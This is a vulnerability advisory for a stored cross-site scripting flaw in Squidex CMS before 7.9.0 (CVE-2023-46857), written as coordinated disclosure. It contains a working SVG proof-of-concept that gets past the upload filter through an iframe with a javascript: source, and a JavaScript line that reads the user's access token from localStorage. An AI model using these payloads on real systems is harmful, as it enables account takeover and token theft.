Weak SVG asset filtering mechanism in Squidex
| CENSUS ID: | CENSUS-2023-0004 |
| CVE ID: | CVE-2023-46857 |
| Affected Products: | Squidex versions prior to 7.9.0 |
| Class: | Improper Neutralization of Input During Web Page Generation (CWE-79) |
| References: | GitHub Security Advisory |
| Discovered by: | Charalampos Maraziaris |
CENSUS has discovered a stored cross site scripting (XSS) vulnerability in the Squidex "headless" open source CMS framework. The vulnerability affects all versions of Squidex prior to 7.9.0 and enables privilege escalation affecting authenticated victim users. The Squidex development team has addressed the issue in version 7.9.0 of the software.
Vulnerability Details
Charalampos Maraziaris of CENSUS identified that the SVG asset filtering mechanism intended to stop XSS attacks through uploaded SVG images is insufficient, resulting to stored XSS attacks.
Stored XSS attacks are those where injected JavaScript code is permanently stored on the target servers, such as in a database, in a visitor log etc. The malicious script may then become part of the web application's response, essentially forcing victim user browsers to execute its code. In the specific case, an adversary can store a malicious JavaScript payload, packed as an SVG image, through the "upload asset" functionality. This JavaScript payload will be executed every time the image endpoint is visited.
Squidex allows the CMS contributors to be granted the permission of uploading an SVG asset. When the asset is uploaded, a filtering mechanism is performed to validate that the SVG does not contain malicious code. The code executed when uploading an SVG is the following:
// File: Squidex/squidex-7.8.2/backend/src/Squidex.Domain.Apps.Entities/Assets/SvgAssetMetadataSource.cs
[...]
15: public sealed class SvgAssetMetadataSource : IAssetMetadataSource
{
[...]
using (var reader = new StreamReader(command.File.OpenRead()))
{
var text = await reader.ReadToEndAsync();
38: if (!text.IsValidSvg())
{
throw new ValidationException(T.Get("validation.notAnValidSvg"));
}
[...]
}
}
[...]
The IsValidSvg method is defined in Squidex/libs/text/Squidex.Text/HtmlSvgExtensions.cs as:
// File: Squidex/libs/text/Squidex.Text/HtmlSvgExtensions.cs
[...]
12: public static class HtmlSvgExtensions
{
private static readonly HashSet InvalidSvgElements = new HashSet(StringComparer.OrdinalIgnoreCase)
{
16: "script"
};
19: public static bool IsValidSvg(this string html)
{
var document = LoadHtml(html);
return IsValid(document.DocumentNode);
}
[...]
46: private static bool IsValid(HtmlNode node)
{
switch (node.NodeType)
{
case HtmlNodeType.Document:
return IsChildrenValid(node);
case HtmlNodeType.Element:
54: if (InvalidSvgElements.Contains(node.Name))
{
return false;
}
if (node.HasAttributes)
{
for (var i = 0; i < node.Attributes.Count; i++)
{
var attribute = node.Attributes[i];
65: if (attribute.Name.StartsWith("on", StringComparison.OrdinalIgnoreCase))
{
return false;
}
}
}
if (node.HasChildNodes)
{
return IsChildrenValid(node);
}
break;
}
return true;
}
[...]
The validation logic consists of traversing the HTML nodes in the DOM. In order for the validation to succeed, 2 conditions must be met:
- No HTML tags included in a "blacklist" called "InvalidSvgElements" are present (line 54). This list only contains the element "script".
- No attributes of HTML tags begin with "on" (i.e. onerror, onclick) (line 65).
However, it is possible to bypass the above filtering mechanism and execute arbitrary JavaScript code by introducing other HTML elements such as an <iframe> element with a "src" attribute containing a "javascript:" origin.
As a Proof-of-Concept, the following SVG file was successfully uploaded, evading the validation efforts:
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green" id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert('xss')" width="400" height="250"/>
</foreignObject>
</svg>
When the above SVG is opened by a CMS user, the file is rendered in-browser and the alert('xss') JavaScript method is executed, displaying a pop-up message.
Impact Analysis
Authenticated adversaries with the "assets.create" permission can leverage this vulnerability to upload a malicious SVG as an asset, targeting any registered user that will attempt to open/view the asset through the Squidex CMS. The impact of this issue is magnified due to the fact that the SVG image is rendered in-browser, under the Squidex instance's domain (in default installations).
As a result, adversaries are able to execute arbitrary JavaScript code within the context of the Squidex CMS site and Squidex CMS application user. This can cause a variety of risks for the end user that can range in severity from annoyance to complete account takeover, as it is possible for the attacker to collect in this way the user's access token from the browser local storage.
As a proof of concept, here is a screenshot of a user's session token being captured by malicious JavaScript embedded in an SVG image:
The JavaScript code used in the proof of concept is:
javascript:alert('Captured Session Token: ' + JSON.parse(localStorage.getItem('oidc.user:http://my.local.squidex/identity-server/:squidex-frontend'))['access_token'])
Recommendation
It is highly recommended to upgrade to version 7.9.0 of Squidex (or newer) to mitigate the aforementioned vulnerability. Version 7.9.0 makes Squidex push a restrictive CSP (Content Security Policy) rule that forbids any JavaScript from executing while the user is previewing such an SVG image. This is the best possible defense for cases such as this, where the resource preview functionality is not expected to support any JavaScript capabilities.
Disclosure Timeline
| CVE Allocation: | October 29, 2023 |
| Vendor Contact: | October 30, 2023 |
| Vendor Confirmation: | October 30, 2023 |
| Vendor Fix Released: | November 7, 2023 |
| Public Advisory: | November 8, 2023 |